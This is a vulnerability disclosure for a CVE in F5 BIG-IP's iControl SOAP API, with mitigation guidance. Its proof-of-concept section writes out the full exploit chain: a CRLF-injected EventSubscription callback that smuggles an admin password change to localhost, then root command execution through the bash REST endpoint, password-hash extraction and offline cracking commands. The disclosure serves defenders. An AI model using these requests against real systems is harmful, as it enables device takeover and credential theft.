F5 BIG-IP iControl SOAP authorization bypass:
CVE-2026-125274

Our security research team discovered a chain of vulnerabilities in F5 BIG-IP's iControl SOAP API that allows any authenticated user, including the lowest-privilege Guest role, to change the administrator password, extract all user password hashes (SHA-512), and execute arbitrary commands as root on the underlying operating system.

CVE-2026-125274 (PTT-2026-007) requires only a valid iControl SOAP account with any role except "No Access" and network access to the BIG-IP management interface. The attack is fully self-triggered: the Guest user's own password change operation fires the exploit callback immediately.

CVE-2026-125274

The vulnerability was discovered by Dan Stefan Alexandru, from the Pentest-Tools.com security research team.

The fix shipped in F5 BIG-IP and BIG-IQ versions 21.1.0.3, 17.5.1.10, and 17.1.3.6. The advisory is available on F5's website.

Affected software

Any F5 BIG-IP instance where a user account exists with any role except "No Access" (Guest, Operator, Resource Admin, Manager, or Admin) and the management interface (HTTPS port 443) is network-reachable.

Guest accounts do not exist on a default BIG-IP installation; an administrator must create one. However, in production environments, low-privilege accounts are commonly provisioned for monitoring, vendor support sessions, or temporary access during team transitions.

LDAP, RADIUS, and TACACS+ integrations frequently map external users to Guest or Operator roles, expanding the attack surface to any organization using centralized authentication.

How CVE-2026-125274 works

Three independent defects combine into a single escalation chain that takes a Guest-role account to root command execution.

Defect 1: Missing role-based authorization on iControl SOAP methods (CWE-863)

The iControl SOAP API (iControlPortal.cgi) authenticates users via PAM but does not enforce role-based authorization on sensitive methods. A Guest-role user can call Management.EventSubscription.create() to register event callbacks, Management.UserManagement.get_list() to enumerate all user accounts, and Management.UserManagement.get_encrypted_password() to extract password hashes, all of which should be restricted to administrative roles.

Defect 2: CRLF injection in EasySoap++ HTTP callbacks (CWE-113)

When an EventSubscription fires, the BIG-IP event daemon (eventd) uses the EasySoap++/0.6 library to send an HTTP callback to the registered URL. The callback URL is stored with XML-entity-encoded CRLF characters (&​#x0d;&​#x0a;). When eventd triggers the callback, EasySoap++ decodes the XML entities to literal \r\n bytes and constructs the HTTP request without sanitizing them. This allows an attacker to inject arbitrary HTTP headers and a complete second HTTP request body into the callback, enabling HTTP request smuggling.

Defect 3: Localhost exemption from PAM authentication (CWE-918 + CWE-522)

Apache's httpd configuration on BIG-IP explicitly exempts connections from 127.0.0.1 from PAM authentication for /iControl/ paths. Any HTTP request that reaches the iControl SOAP endpoint from localhost executes with full administrative privileges, regardless of credentials. The smuggled request targets http://127.0.0.1/iControl/iControlPortal.cgi with no Authorization header and is accepted as fully privileged.

The attack works as follows

Step 1

The attacker authenticates to iControl SOAP via HTTP Basic Auth as a Guest-role user. The attacker calls Management.UserManagement.get_list() to enumerate all user accounts on the system, confirming SOAP access and demonstrating that Guest can call methods that should require administrative privileges.

Step 2

The attacker calls Management.EventSubscription.create() as Guest with a callback URL containing CRLF sequences encoded as XML entities. The injected URL smuggles a complete SOAP change_password_2 request targeting the admin account, directed at the localhost iControl endpoint. No Authorization header is included in the smuggled request because Apache exempts localhost from PAM authentication.

Step 3

The attacker calls change_my_password_v2 to change their own password to a temporary value. This is a legitimate Guest-role operation. MCPd registers the password change as EVENTTYPE_MODIFY on OBJECTTYPE_USERDB_ENTRY, which fires all active EventSubscription callbacks, including the CRLF-injected payload. EasySoap++/0.6 constructs the callback HTTP request with the CRLF characters intact, smuggling the change_password_2 request to localhost iControl SOAP. The admin password is changed to the attacker-controlled value.

Step 4

The attacker restores their own Guest password to the original value via a second change_my_password_v2 call, leaving no trace of the temporary password change.

Step 5

The attacker authenticates to the BIG-IP REST API (/mgmt/shared/authn/login) as admin using the new password. This confirms the password change succeeded and provides an authentication token.

Step 6

The attacker uses the admin REST API token to execute arbitrary commands as root via POST /mgmt/tm/util/bash, or extracts SHA-512 password hashes for all users via Management.UserManagement.get_encrypted_password().

Proof of concept for CVE-2026-125274

Step 1: SOAP authentication as Guest

The attacker sends a SOAP request to iControlPortal.cgi with HTTP Basic Auth credentials for the Guest account. The request calls get_list() on the UserManagement interface to enumerate users:

  • Request

    POST /iControl/iControlPortal.cgi HTTP/1.1

    Host: <target>

    Authorization: Basic <base64(guest_user:guest_pass)>

    Content-Type: text/xml; charset=utf-8

    SOAPAction: urn:iControl:Management/UserManagement

    <?xml version="1.0" encoding="UTF-8"?>

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"

    xmlns:man="urn:iControl:Management/UserManagement">

    <soapenv:Body><man:get_list/></soapenv:Body>

    </soapenv:Envelope>

The response returns HTTP 200 with a list of all user accounts (root, admin, the guest user, and any others). This confirms the Guest account has SOAP access and demonstrates the missing authorization check: Guest should not have access to UserManagement.get_list().

Step 2: Create CRLF-injected EventSubscription

The attacker calls EventSubscription.create() as Guest. The callback URL contains XML-entity-encoded CRLF sequences that will be decoded by EasySoap++ when the callback fires:

  • Request

    POST /iControl/iControlPortal.cgi HTTP/1.1

    Host: <target>

    Authorization: Basic <base64(guest_user:guest_pass)>

    Content-Type: text/xml; charset=utf-8

    SOAPAction: urn:iControl:Management/EventSubscription

The <url> field inside the EventSubscription contains the smuggled request. When decoded from XML entities, the callback URL resolves to:

  • Decoded callback URL

    http://127.0.0.1/iControl/iControlPortal.cgi HTTP/1.1\r\n

    Host: 127.0.0.1\r\n

    Content-Type: text/xml\r\n

    SOAPAction: urn:iControl:Management/UserManagement\r\n

    Content-Length: 791\r\n

    \r\n

    <?xml version="1.0" encoding="UTF-8"?>

    <soapenv:Envelope ...>

    <soapenv:Body>

    <man:change_password_2>

    <user_names><item>admin</item></user_names>

    <passwords><item>

    <is_encrypted>false</is_encrypted>

    <password>ATTACKER_CHOSEN_PASSWORD</password>

    </item></passwords>

    </man:change_password_2>

    </soapenv:Body>

    </soapenv:Envelope>\r\n

    \r\n

    POST /absorb

The trailing "POST /absorb" absorbs the remainder of the original HTTP request line that EasySoap++ appends after the injected URL.

The CRLF sequences (&​#x0d;&​#x0a; in the XML) are what make this work: EasySoap++ decodes the XML entities and writes them directly into the HTTP request without sanitization, splitting what should be a single request line into a complete smuggled HTTP request.

The smuggled request carries no Authorization header. It does not need one: Apache's httpd configuration exempts 127.0.0.1 from PAM authentication on /iControl/ paths, so the request executes with full administrative privileges.

Step 3: Self-trigger via password change

The attacker calls change_my_password_v2 to change the Guest user's own password to a temporary value. This is a legitimate operation available to any role:

  • Request

    POST /iControl/iControlPortal.cgi HTTP/1.1

    Host: <target>

    Authorization: Basic <base64(guest_user:guest_pass)>

    Content-Type: text/xml; charset=utf-8

    SOAPAction: urn:iControl:Management/UserManagement

    <man:change_my_password_v2>

    <password>

    <new_password>TEMP_VALUE</new_password>

    <current_password>GUEST_ORIGINAL_PASS</current_password>

    </password>

    </man:change_my_password_v2>

MCPd registers the password change as EVENTTYPE_MODIFY on OBJECTTYPE_USERDB_ENTRY. This fires all active EventSubscription callbacks, including the CRLF-injected one created in Step 2.

EasySoap++/0.6 constructs the callback HTTP request with the decoded \r\n bytes intact. The smuggled change_password_2 request reaches localhost iControl SOAP. Apache accepts it without authentication. The admin password is changed.

After a brief delay (approximately 5 seconds for eventd to process the callback), the attacker restores the Guest password to its original value via a second change_my_password_v2 call.

Step 4: Verify admin password change

The attacker authenticates to the REST API as admin using the new password:

  • Request

    POST /mgmt/shared/authn/login HTTP/1.1

    Host: <target>

    Content-Type: application/json

    {"username": "admin", "password": "ATTACKER_CHOSEN_PASSWORD"}

A successful response (HTTP 200) returns an authentication token, confirming the admin password was changed by the smuggled SOAP request.

Step 5: Root command execution

The admin REST API token enables root command execution:

  • Request

    POST /mgmt/tm/util/bash HTTP/1.1
    Host: <target>
    X-F5-Auth-Token: <admin_token>
    Content-Type: application/json

    {"command": "run", "utilCmdArgs": "-c 'id && cat /etc/f5-release'"}

  • Response

    uid=0(root) gid=0(root) groups=0(root)

    BIG-IP release 21.1.0 (Final)

Step 6: Credential theft

The attacker calls Management.UserManagement.get_encrypted_password() as admin to extract SHA-512 password hashes for all users:

  • Output

    root:$6$V8RqkDdG$3X6...

    admin:$6$KIlfj7/x$hqp...

    pentest_guest:$6$Vvr...

These hashes can be cracked offline with hashcat -m 1800 or john --format=sha512crypt.

Step 7: Cleanup

The attacker deletes the EventSubscription via EventSubscription.remove() and restores the admin password to its original value via change_password_2 as admin. No persistent artifacts remain on the system.

Mitigation

Patch. Upgrade to F5 BIG-IP 21.1.0.3, 17.5.1.10, 17.1.3.6 or later. This is the only complete fix.

The advisory is available at: https://my.f5.com/manage/s/article/K000163936

After patching. Audit all user accounts for unexpected privilege changes and rotate the admin password. Review EventSubscription entries for any callbacks targeting localhost or containing encoded CRLF sequences.